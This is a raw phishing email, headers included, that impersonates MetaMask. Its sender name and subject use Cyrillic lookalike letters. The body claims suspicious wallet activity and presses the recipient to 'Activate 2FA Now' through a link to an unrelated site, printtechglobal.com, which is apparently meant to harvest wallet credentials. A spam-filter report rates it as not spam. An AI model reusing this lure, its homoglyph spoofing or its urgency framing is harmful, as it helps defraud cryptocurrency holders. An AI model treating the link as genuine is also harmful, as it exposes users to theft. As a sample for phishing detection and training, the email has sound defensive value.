Envelope-to: sales@certproxywizard.com
Delivery-date: Sat, 24 May 2025 11:35:57 +0300
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=21c44208ca.nxcli.io;
  b=IPWeV1tPl5u08KBmYTVAgrwTzFsxO263X45xIF8dHsZwN15/4KQYN0G3EPwO1orQnarXxXvVcsqV3Qzh59oY5v4MMwe0lEiXBhnYK61kFKi8RVq3KC56G0asQiiZlPwDOV8Vuj8tWj2a7SauSwM6MOsJIH134k7rLQICB0NZkNHXxHySezSfgdmWFKz/8cA4gIFzXtr+l3rNLmzVCGnI/4fgNe811yJlEtSehiqCMFtkPfWmeikDJg91/sODUzt6AqMF9TouprGrcZK8N2XZJk3CtP1ypsDpe29u5l40XJagIpEB/ajIMoyhB81cy/g2Ls++QdMb3nt1FFLjGHddQQ==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
Date: 24 May 2025 09:33:39 +0100
Message-ID: <20250524083339.17927.qmail@cloudhost-10356447.uk-south-2.nxcli.net>
To: sales@certproxywizard.com
Subject: Suspiciоus behavior detected
From: "MetaMаsk" <ax48fo6n@ksq.io>
Reply-To: ax48fo6n@ksq.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
    
 Content analysis details:   (0.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: printtechglobal.com]
                             [URI: nxcli.io]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [165.84.217.7 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [165.84.217.7 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [165.84.217.7 listed in sa-trusted.bondedsender.org]
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily valid
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
                             domains are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
X-Spam-Flag: NO


<!DOCTYPE html>
<html>
<body style="margin:0;padding:20px;font-family:Arial,sans-serif;background:#fff;color:#111;font-size:15px">
<p>Hi,</p>
<p>We've detected suspicious behavior linked to your wallet. To secure your account, we recommend enabling Two-Factor Authentication (2FA).</p>
<p>2FA helps protect your assets even if your password is compromised.</p>
<p style="margin:24px 0">
  <a href="https://printtechglobal.com//wpc//?id=-7411566670093155772-7609" style="color:#1155cc;text-decoration:underline">🔐 Activate 2FA Now</a>
</p>
<p>If this alert wasn’t triggered by you, no further action is required.</p>
<p style="margin-top:28px;color:#888;font-size:13px">MetaMаsk Security Team</p>
</body>
</html>